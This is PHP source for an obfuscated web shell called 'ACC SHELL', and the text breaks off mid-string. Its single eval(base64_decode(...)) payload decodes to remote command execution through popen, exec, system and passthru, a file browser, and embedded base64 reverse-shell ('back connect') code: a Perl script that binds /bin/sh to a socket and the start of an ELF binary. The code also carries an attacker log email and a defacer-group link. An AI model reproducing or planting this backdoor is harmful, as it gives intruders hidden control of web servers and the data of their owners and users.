ACC SHELL
<? eval(base64_decode('JHNoX2lkID0gIld5QW1aR0ZuWjJWeU95QmRJRUoxWkdGcklFZGhiblJsYm1jZ1d5QW1aR0ZuWjJWeU95QmQiOwokc2hfbmFtZSA9IGJhc2U2NF9kZWNvZGUoJHNoX2lkKTsKJHNoX21haW51cmwgPSAiaHR0cDovL2NvZGUtc2VjdXJpdHkub3JnIjsKJGh0bWxfc3RhcnQgPSAnPGh0bWw+PGhlYWQ+Cjx0aXRsZT4nLmdldGVudigiIikuJyAgJy4kc2hfbmFtZS4nPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KPCEtLQpib2R5LHRhYmxlIHsgZm9udC1mYW1pbHk6dmVyZGFuYTtmb250LXNpemU6MTFweDtjb2xvcjpyZWQ7YmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQp0YWJsZSB7IHdpZHRoOjEwMCU7IH0KdGFibGUsdGQgeyBib3JkZXI6MXB4IHNvbGlkIGJsYWNrO21hcmdpbi10b3A6MjttYXJnaW4tYm90dG9tOjI7cGFkZGluZzo1cHg7IH0KYSB7IGNvbG9yOmxpZ2h0Ymx1ZTt0ZXh0LWRlY29yYXRpb246bm9uZTsgfQphOmFjdGl2ZSB7IGNvbG9yOiMwMEZGMDA7IH0KYTpsaW5rIHsgY29sb3I6IzVCNUJGRjsgfQphOmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQphOnZpc2l0ZWQgeyBjb2xvcjojOTlDQ0ZGOyB9CmlucHV0LHNlbGVjdCxvcHRpb24geyBmb250OjhwdCB0YWhvbWE7Y29sb3I6cmVkO21hcmdpbjoyO2JvcmRlcjoxcHggc29saWQgbGltZTsgfQp0ZXh0YXJlYSB7IGNvbG9yOmxpbWU7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCBsaW1lO21hcmdpbjoyOyB9Ci5mbGVmdCB7IGZsb2F0OmxlZnQ7dGV4dC1hbGlnbjpsZWZ0OyB9Ci5mcmlnaHQgeyBmbG9hdDpyaWdodDt0ZXh0LWFsaWduOnJpZ2h0OyB9CiNwYWdlYmFyIHsgZm9udDo4cHQgdGFob21hO3BhZGRpbmc6NXB4OyBib3JkZXI6M3B4IHNvbGlkIGJsYWNrOyBib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7IH0KI3BhZ2ViYXIgdGQgeyB2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0KI3BhZ2ViYXIgcCB7IGZvbnQ6OHB0IHRhaG9tYTt9CiNwYWdlYmFyIGEgeyBmb250LXdlaWdodDpib2xkO2NvbG9yOiMwMEZGMDA7IH0KI3BhZ2ViYXIgYTp2aXNpdGVkIHsgY29sb3I6IzAwQ0UwMDsgfQojbWFpbm1lbnUgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQojbWFpbm1lbnUgYSB7IHRleHQtYWxpZ246IGNlbnRlcjtwYWRkaW5nOiAwcHggNXB4IDBweCA1cHg7IH0KI21haW5pbmZvLC5iYXJoZWFkZXIsLmJhcmhlYWRlcjIgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQojbWFpbmluZm8gdGQgeyBwYWRkaW5nOjNweDsgfQouYmFyaGVhZGVyIHsgZm9udC13ZWlnaHQ6Ym9sZDtwYWRkaW5nOjVweDsgfQouYmFyaGVhZGVyMiB7IHBhZGRpbmc6NXB4O2JvcmRlcjoycHggc29saWQgYmxhY2s7IH0KLmNvbnRlbnRzLC5leHBsb3JlciB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTt9Ci5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQoubWFpbnBhbmVsIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3BhZGRpbmc6NXB4OyB9Ci5iYXJoZWFkZXIsLm1haW5wYW5lbCB0YWJsZSx0ZCB7IGJvcmRlcjoxcHggc29saWQgZ3JlZW47IH0KLm1haW5wYW5lbCBpbnB1dCxzZWxlY3Qsb3B0aW9uIHsgYm9yZGVyOjFweCBzb2xpZCBibGFjazttYXJnaW46MDsgfQppbnB1dFt0eXBlPSJzdWJtaXQiXSB7IGJvcmRlcjoxcHggc29saWQgbGltZTsgfQppbnB1dFt0eXBlPSJ0ZXh0Il0geyBwYWRkaW5nOjNweDt9Ci5zaGVsbCB7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7Y29sb3I6YmxhY2s7cGFkZGluZzo1cHg7IH0KLmZ4ZXJybXNnIHsgY29sb3I6cmVkOyBmb250LXdlaWdodDpib2xkOyB9CiNwYWdlYmFyLCNwYWdlYmFyIHAsaDEsaDIsaDMsaDQsZm9ybSB7IG1hcmdpbjowOyB9CiNwYWdlYmFyLC5tYWlucGFuZWwsaW5wdXRbdHlwZT0ic3VibWl0Il0geyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyB9Ci5iYXJoZWFkZXIyLGlucHV0LHNlbGVjdCxvcHRpb24saW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyB9CnRleHRhcmVhLC5tYWlucGFuZWwgaW5wdXQsc2VsZWN0LG9wdGlvbiB7IGJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsgfQovLyAtLT4KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KJzsKJGxvZ2luID0gIiI7IAokcGFzcyA9ICIiOwokbWQ1X3Bhc3MgPSAiIjsKJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyAKJGxvZ2luX3R4dCA9ICJwcmlraXR1ZSI7IAokYWNjZXNzZGVuaWVkbWVzcyA9ICI8Ym9keSBiZ2NvbG9yPWJsYWNrPjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPjxmb250IGNvbG9yPWxpbWU+Ii4kc2hfbmFtZS4iPC9mb250PjwvYT46IDxmb250IGNvbG9yPXJlZD5hY2Nlc3MgZGVuaWVkPC9mb250PjwvYm9keT4iOwokZ3ppcGVuY29kZSA9IFRSVUU7CiRmaWxlc3RlYWx0aCA9IFRSVUU7IAokY3VyZGlyID0gIi4vIjsKJHRtcGRpciA9ICIiOyAKJHRtcGRpcl9sb2cgPSAiLi8iOwokbG9nX2VtYWlsID0gInV6YW5jQHltYWlsLmNvbSI7IAokc29ydF9kZWZhdWx0ID0gIjBhIjsgCiRzb3J0X3NhdmUgPSBUUlVFOyAKJHNlc3NfY29va2llID0gImNhcHJpdjh2YXJzIjsgCiR1c2Vmc2J1ZmYgPSBUUlVFOyAKJGNvcHlfdW5zZXQgPSBGQUxTRTsgCiRoZXhkdW1wX2xpbmVzID0gODsKJGhleGR1bXBfcm93cyA9IDI0Owokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOwokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKSB7CiAgJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7CiAgJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsKfQpmdW5jdGlvbiBnZXRfcGhwaW5pKCkgewogIGZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikgewogICAgJHN0ciA9IEB3b3Jkd3JhcChAaHRtbHNwZWNpYWxjaGFycygkc3RyKSwgMTAwLCAnPHdiciAvPicsIHRydWUpOwogICAgcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsKICB9CiAgZnVuY3Rpb24gVV92YWx1ZSgkdmFsdWUpIHsKICAgIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsKICAgIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsKICAgIGlmICgkdmFsdWUgPT09IG51bGwpIHJldHVybiAnTlVMTCc7CiAgICBpZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsKICAgIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkgewogICAgICBAb2Jfc3RhcnQoKTsKICAgICAgcHJpbnRfcigkdmFsdWUpOwogICAgICAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgIH0KICAgIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7CiAgfQogIGlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKSB7CiAgICAkciA9ICIiOwogICAgZWNobyAiPHRhYmxlPjx0ciBjbGFzcz1iYXJoZWFkZXI+PHRkPkRpcmVjdGl2ZTwvdGQ+PHRkPkxvY2FsIFZhbHVlPC90ZD48dGQ+R2xvYmFsIFZhbHVlPC90ZD48L3RyPiI7CiAgICBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpIHsKICAgICAgJHIgLj0gIjx0cj48dGQ+Ii4ka2V5LiI8L3RkPjx0ZD48ZGl2IGFsaWduPWNlbnRlcj4iLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLiI8L2Rpdj48L3RkPjwvdHI+IjsKICAgIH0KICAgIGVjaG8gJHI7CiAgICBlY2hvICI8L3RhYmxlPiI7CiAgfQp9CmZ1bmN0aW9uIGRpc3BfZHJpdmVzKCRjdXJkaXIsJHN1cmwpIHsKICAkbGV0dGVycyA9ICIiOwogICR2ID0gZXhwbG9kZSgiXFwiLCRjdXJkaXIpOwogICR2ID0gJHZbMF07CiAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgewogICAgJGJvb2wgPSAkaXNkaXNrZXR0ZSA9ICRsZXR0ZXIgPT0gIkEiOwogICAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30KICAgIGlmICgkYm9vbCkgewogICAgICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLnVybGVuY29kZSgkbGV0dGVyLiI6XFwiKS4iXCIiLgogICAgICAoJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1ci4nKVwiIjoiIikuIj4gWyI7CiAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQogICAgICBlbHNlIHskbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9eWVsbG93PiIuJGxldHRlci4iPC9mb250PiI7fQogICAgICAkbGV0dGVycyAuPSAiXTwvYT4gIjsKICAgIH0KICB9CiAgaWYgKCFlbXB0eSgkbGV0dGVycykpIHtSZXR1cm4gJGxldHRlcnM7fQogIGVsc2Uge1JldHVybiAiTm9uZSI7fQp9CmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpIHsKICBmdW5jdGlvbiBkaXNwX2ZyZWVzcGFjZSgkY3VyZHJ2KSB7CiAgICAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkY3VyZHJ2KTsKICAgICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGN1cmRydik7CiAgICBpZiAoJGZyZWUgPT09IEZBTFNFKSB7JGZyZWUgPSAwO30KICAgIGlmICgkdG90YWwgPT09IEZBTFNFKSB7JHRvdGFsID0gMDt9CiAgICBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30KICAgIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9CiAgICAkdXNlZCA9ICR0b3RhbC0kZnJlZTsKICAgICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMikuIiUiOwogICAgJGZyZWUgPSB2aWV3X3NpemUoJGZyZWUpOwogICAgJHRvdGFsID0gdmlld19zaXplKCR0b3RhbCk7CiAgICByZXR1cm4gIiRmcmVlIG9mICR0b3RhbCAoJGZyZWVfcGVyY2VudCkiOwogIH0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkgewogIGlmKGlzX2NhbGxhYmxlKCJwb3BlbiIpKSB7CiAgICBmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKSB7CiAgICAgIGlmICghKCRwPXBvcGVuKCIoJGNtZCkyPiYxIiwiciIpKSkgeyByZXR1cm4gInBvcGVuIERpc2FibGVkISI7IH0KICAgICAgd2hpbGUgKCFmZW9mKCRwKSkgewogICAgICAgICRsaW5lPWZnZXRzKCRwLDEwMjQpOwogICAgICAgICRvdXQgLj0gJGxpbmU7CiAgICAgIH0KICAgICAgcGNsb3NlKCRwKTsKICAgICAgcmV0dXJuICRvdXQ7CiAgICB9CiAgfSBlbHNlIHsKICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsKICAgICAgZ2xvYmFsICRkaXNhYmxlZnVuYzsKICAgICAgJHJlc3VsdCA9ICIiOwogICAgICBpZiAoIWVtcHR5KCRjbWQpKSB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCJleGVjIikgYW5kICFpbl9hcnJheSgiZXhlYyIsJGRpc2FibGVmdW5jKSkgewogICAgICAgICAgZXhlYygkY21kLCRyZXN1bHQpOwogICAgICAgICAgJHJlc3VsdCA9IGpvaW4oIlxuIiwkcmVzdWx0KTsKICAgICAgICB9IGVsc2VpZiAoKCRyZXN1bHQgPSAkY21kKSAhPT0gRkFMU0UpIHsKICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpIGFuZCAhaW5fYXJyYXkoInN5c3RlbSIsJGRpc2FibGVmdW5jKSkgewogICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2OwogICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSBhbmQgIWluX2FycmF5KCJwYXNzdGhydSIsJGRpc2FibGVmdW5jKSkgewogICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7CiAgICAgICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpIHsKICAgICAgICAgICRyZXN1bHQgPSAiIjsKICAgICAgICAgIHdoaWxlKCFmZW9mKCRmcCkpIHsgJHJlc3VsdCAuPSBmcmVhZCgkZnAsMTAyNCk7IH0KICAgICAgICAgIHBjbG9zZSgkZnApOwogICAgICAgIH0KICAgICAgfQogICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICB9Cn0KZnVuY3Rpb24gZXgoJGNmZSkgewogICRyZXMgPSAnJzsKICBpZiAoIWVtcHR5KCRjZmUpKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICBAZXhlYygkY2ZlLCRyZXMpOwogICAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOwogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOwogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICBAb2Jfc3RhcnQoKTsKICAgICAgQHN5c3RlbSgkY2ZlKTsKICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgIEBvYl9zdGFydCgpOwogICAgICBAcGFzc3RocnUoJGNmZSk7CiAgICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgIH0gZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKSB7CiAgICAgICRyZXMgPSAiIjsKICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQogICAgICBAcGNsb3NlKCRmKTsKICAgIH0gZWxzZSB7ICRyZXMgPSAiRXgoKSBEaXNhYmxlZCEiOyB9CiAgfQogIHJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHdoaWNoKCRwcikgewogICRwYXRoID0gZXgoIndoaWNoICRwciIpOwogIGlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gJHByOyB9Cn0KCiRob3N0bmFtZV94ID0gcGhwX3VuYW1lKG4pOwokaXRzaG9tZSA9IGdldGN3ZCgpOwoKJEx2ZXJzaW9uID0gcGhwX3VuYW1lKHIpOwokT1NWID0gcGhwX3VuYW1lKHMpOwppZihlcmVnaSgiTGludXgiLCRPU1YpKSB7CiAgJEx2ZXJzaW9uPXN1YnN0cigkTHZlcnNpb24sMCw2KTsKICAkbWlsbGluaz0iaHR0cDovL0luZG9uZXNpYW5kZWZhY2VyLm9yZyAiLiRMdmVyc2lvbjsKfSBlbHNlIHsKICAkTHZlcnNpb249c3Vic3RyKCRMdmVyc2lvbiwwLDMpOwogICRtaWxsaW5rID0iaHR0cDovL0luZG9uZXNpYW5kZWZhY2VyLm9yZyIuJE9TVi4iICIuJEx2ZXJzaW9uOwp9CgokYmFja19jb25uZWN0X3BsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU95YzdEUW9rYzNsemRHVnRNVDBnSjJWamFHOGdJbUJwWkdBaU95YzdEUW9rYzNsemRHVnRNajBnSjJWamFHOGdJbUJ3ZDJSZ0lqc25PdzBLSkhONWMzUmxiVE05SUNkbFkyaHZJQ0pnZDJodllXMXBZRUJnYUc5emRHNWhiV1ZnT240Z1BpSTdKenNOQ2lSemVYTjBaVzAwUFNBbkwySnBiaTl6YUNjN0RRb2tNRDBrWTIxa093MEtKSFJoY21kbGREMGtRVkpIVmxzd1hUc05DaVJ3YjNKMFBTUkJVa2RXV3pGZE93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tkR0Z5WjJWMEtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFva2NHRmtaSEk5YzI5amEyRmtaSEpmYVc0b0pIQnZjblFzSUNScFlXUmtjaWtnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJ5YjNSdlBXZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LVHNOQ25OdlkydGxkQ2hUVDBOTFJWUXNJRkJHWDBsT1JWUXNJRk5QUTB0ZlUxUlNSVUZOTENBa2NISnZkRzhwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DbU52Ym01bFkzUW9VMDlEUzBWVUxDQWtjR0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ205d1pXNG9VMVJFU1U0c0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJQVlZRc0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lDSStKbE5QUTB0RlZDSXBPdzBLY0hKcGJuUWdJbHh1WEc0Nk9pQjNOR05yTVc1bkxYTm9aV3hzSUNoUWNtbDJZWFJsSUVKMWFXeGtJSFl3TGpNcElISmxkbVZ5YzJVZ2MyaGxiR3dnT2pwY2JseHVJanNOQ25CeWFXNTBJQ0pjYmxONWMzUmxiU0JKYm1adk9pQWlPeUFOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ25CeWFXNTBJQ0pjYmxsdmRYSWdTVVE2SUNJN0lBMEtjM2x6ZEdWdEtDUnplWE4wWlcweEtUc05DbkJ5YVc1MElDSmNia04xY25KbGJuUWdSR2x5WldOMGIzSjVPaUFpT3lBTkNuTjVjM1JsYlNna2MzbHpkR1Z0TWlrN0RRcHdjbWx1ZENBaVhHNGlPdzBLYzNsemRHVnRLQ1J6ZVhOMFpXMHpLVHNnYzNsemRHVnRLQ1J6ZVhOMFpXMDBLVHNOQ21Oc2IzTmxLRk5VUkVsT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7CiRiYWNrX2Nvbm5lY3RfYyA9ICJmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQTJJVUVDRFFBQUFCTURBQUFBQUFBQURRQUlBQUhBQ2dBSEFBWkFBWUFBQUEwQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQUFBQUJBQUFBQUFBQUFBQ0FCQWdBZ0FRSUxBa0FBQ3dKQUFBRkFBQUFBQkFBQUFFQUFBQXNDUUFBTEprRUNDeVpCQWc0QVFBQVBBRUFBQVlBQUFBQUVBQUFBZ0FBQUVBSkFBQkFtUVFJUUprRUNNZ0FBQURJQUFBQUJnQUFBQVFBQUFBRUFBQUFLQUVBQUNpQkJBZ29nUVFJSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxc2FXNTFlQzV6Ynk0eUFBQUVBQUFBRUFBQUFBRUFBQUJIVGxVQUFBQUFBQUlBQUFBQ0FBQUFCUUFBQUJFQUFBQVVBQUFBQUFBQUFBQUFBQUFSQUFBQUVnQUFBQWNBQUFBS0FBQUFDd0FBQUFnQUFBQVBBQUFBQXdBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRkFBQUFCZ0FBQUFBQUFBQUJBQUFBQUFBQUFBa0FBQUFBQUFBQURBQUFBQUFBQUFBQUFBQUFEUUFBQUE0QUFBQUNBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBMkFBQUFBQUFBQUJ3QkFBQVNBQUFBckFBQUFBQUFBQUJ4QUFBQUVnQUFBRHdBQUFBQUFBQUFDd0lBQUJJQUFBQklBQUFBQUFBQUFIMEFBQUFTQUFBQWpBQUFBQUFBQUFDc0FRQUFFZ0FBQUtVQUFBQUFBQUFBcndBQUFCSUFBQUJqQUFBQUFBQUFBQ2NBQUFBU0FBQUFrd0FBQUFBQUFBRGRBQUFBRWdBQUFFTUFBQUFBQUFBQU9nQUFBQklBQUFCY0FBQUFBQUFBQUtvQkFBQVNBQUFBVmdBQUFBQUFBQUEyQUFBQUVnQUFBSE1BQUFBQUFBQUEyUUFBQUJJQUFBQjRBQUFBQUFBQUFDZ0FBQUFTQUFBQWJRQUFBQUFBQUFBT0FBQUFFZ0FBQUM0QUFBQUFBQUFBZUFBQUFCSUFBQUI5QUFBQThJZ0VDQVFBQUFBUkFBNEFUd0FBQUFBQUFBQTVBQUFBRWdBQUFBRUFBQUFBQUFBQUFBQUFBQ0FBQUFBVkFBQUFBQUFBQUFBQUFBQWdBQUFBQUY5S2RsOVNaV2RwYzNSbGNrTnNZWE56WlhNQVgxOW5iVzl1WDNOMFlYSjBYMThBYkdsaVl5NXpieTQyQUdOdmJtNWxZM1FBWlhobFkyd0FjR1Z5Y205eUFHUjFjRElBYzNsemRHVnRBSE52WTJ0bGRBQmllbVZ5YndCemRISmpZWFFBYVc1bGRGOWhaR1J5QUdoMGIyNXpBR1Y0YVhRQVlYUnZhUUJmU1U5ZmMzUmthVzVmZFhObFpBQmtZV1Z0YjI0QVgxOXNhV0pqWDNOMFlYSjBYMjFoYVc0QWMzUnliR1Z1QUdOc2IzTmxBRWRNU1VKRFh6SXVNQUFBQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBRUFBZ0FBQUFBQUFRQUJBQ1FBQUFBUUFBQUFBQUFBQUJCcGFRMEFBQUlBc2dBQUFBQUFBQUFJbWdRSUJoTUFBQmlhQkFnSEFRQUFISm9FQ0FjQ0FBQWdtZ1FJQndNQUFDU2FCQWdIQkFBQUtKb0VDQWNGQUFBc21nUUlCd1lBQURDYUJBZ0hCd0FBTkpvRUNBY0lBQUE0bWdRSUJ3a0FBRHlhQkFnSENnQUFRSm9FQ0FjTEFBQkVtZ1FJQnd3QUFFaWFCQWdIRFFBQVRKb0VDQWNPQUFCUW1nUUlCdzhBQUZTYUJBZ0hFUUFBVllubGcrd0k2RUVCQUFEb2xBRUFBT2puQXdBQXljTUEvelVRbWdRSS95VVVtZ1FJQUFBQUFQOGxHSm9FQ0dnQUFBQUE2ZUQvLy8vL0pSeWFCQWhvQ0FBQUFPblEvLy8vL3lVZ21nUUlhQkFBQUFEcHdQLy8vLzhsSkpvRUNHZ1lBQUFBNmJELy8vLy9KU2lhQkFob0lBQUFBT21nLy8vLy95VXNtZ1FJYUNnQUFBRHBrUC8vLy84bE1Kb0VDR2d3QUFBQTZZRC8vLy8vSlRTYUJBaG9PQUFBQU9sdy8vLy8veVU0bWdRSWFFQUFBQURwWVAvLy8vOGxQSm9FQ0doSUFBQUE2VkQvLy8vL0pVQ2FCQWhvVUFBQUFPbEEvLy8vL3lWRW1nUUlhRmdBQUFEcE1QLy8vLzhsU0pvRUNHaGdBQUFBNlNELy8vLy9KVXlhQkFob2FBQUFBT2tRLy8vLy95VlFtZ1FJYUhBQUFBRHBBUC8vLy84bFZKb0VDR2g0QUFBQTZmRCsvLzh4N1Y2SjRZUGs4RkJVVW1ob2lBUUlhQlNJQkFoUlZtaUFoZ1FJNkUvLy8vLzBrSkJWaWVWVDZBQUFBQUJiZ2NNSEZBQUFVb3VEL1AvLy80WEFkQUwvMEZoYnljT1FrSkJWaWVXRDdBaUFQV1NhQkFnQWRBL3JINDEyQUlQQUJLTmdtZ1FJLzlLaFlKb0VDSXNRaGRKMTY4WUZaSm9FQ0FISnc0bjJWWW5sZyt3SW9UeVpCQWlGd0hRWnVBQUFBQUNGd0hRUWcrd01hRHlaQkFqLzBJUEVFSTEyQU1uRGtKQlZpZVZYVmxPRDdFeUQ1UEM0QUFBQUFJUEFENFBBRDhIb0JNSGdCQ25Falgyb3Z2U0lCQWo4dVFjQUFBRHpwSTE5ci95NURnQUFBTEFBODZxRDdBaHFBR29CNkZEKy8vK0R4QkJteDBYSUFnQ0Q3QXlMUlF5RHdBai9NT2kzL3YvL2c4UVFEN2ZBZyt3TVVPaTQvdi8vZzhRUVpvbEZ5b1BzREl0RkRJUEFCUDh3NkRIKy8vK0R4QkNKUmN5RDdBaUxSUXlEd0FTRDdBVC9NT2dJL3YvL2c4UUlpY09MUlF5RHdBaUQ3QVQvTU9qei9mLy9nOFFJalFRRFFGQ0xSUXlEd0FUL01PZ3Uvdi8vZzhRUWcrd0VhZ1pxQVdvQzZHMysvLytEeEJDSlJlU0Q3QVJxRUkxRnlGRC9kZVRvUnY3Ly80UEVFSVhBZVJxRDdBeG9DWWtFQ09oeS9mLy9nOFFRZyt3TWFnRG85ZjMvLzRQc0NJdEZEUDh3alVXb1VPakUvZi8vZzhRUWcrd01qVVdvVU9oVi9mLy9nOFFRZyt3SWFnRC9kZVRvbGYzLy80UEVFSVBzQ0dvQi8zWGs2SVg5Ly8rRHhCQ0Q3QWhxQXY5MTVPaDEvZi8vZzhRUWcrd0VhZ0JvRjRrRUNHZ2RpUVFJNk43OC8vK0R4QkNEN0F6L2RlVG80UHovLzRQRUVJMWw5RnRlWDhuRGtGV0o1VmRXVTRQc0RPZ0FBQUFBVzRIRDZoRUFBT2lDL1AvL2pZTWcvLy8valpNZy8vLy9pVVh3S2RBeDlzSDRBam5HY3hhSjE0bjIveFN5aTAzd0tmbEd3ZmtDT2M2SituTHVnOFFNVzE1ZnljT0o5bFdKNVZkV1UrZ0FBQUFBVzRIRG1SRUFBSTJESVAvLy80MjdJUC8vL3luNHdmZ0NnK3dNalhELzZ3V1EveFMzVG9QKy8zWDM2QzRBQUFDRHhBeGJYbC9KdzVDUVZZbmxVMUs3TEprRUNLRXNtUVFJNndxTmRnQ0Q2d1QvMElzRG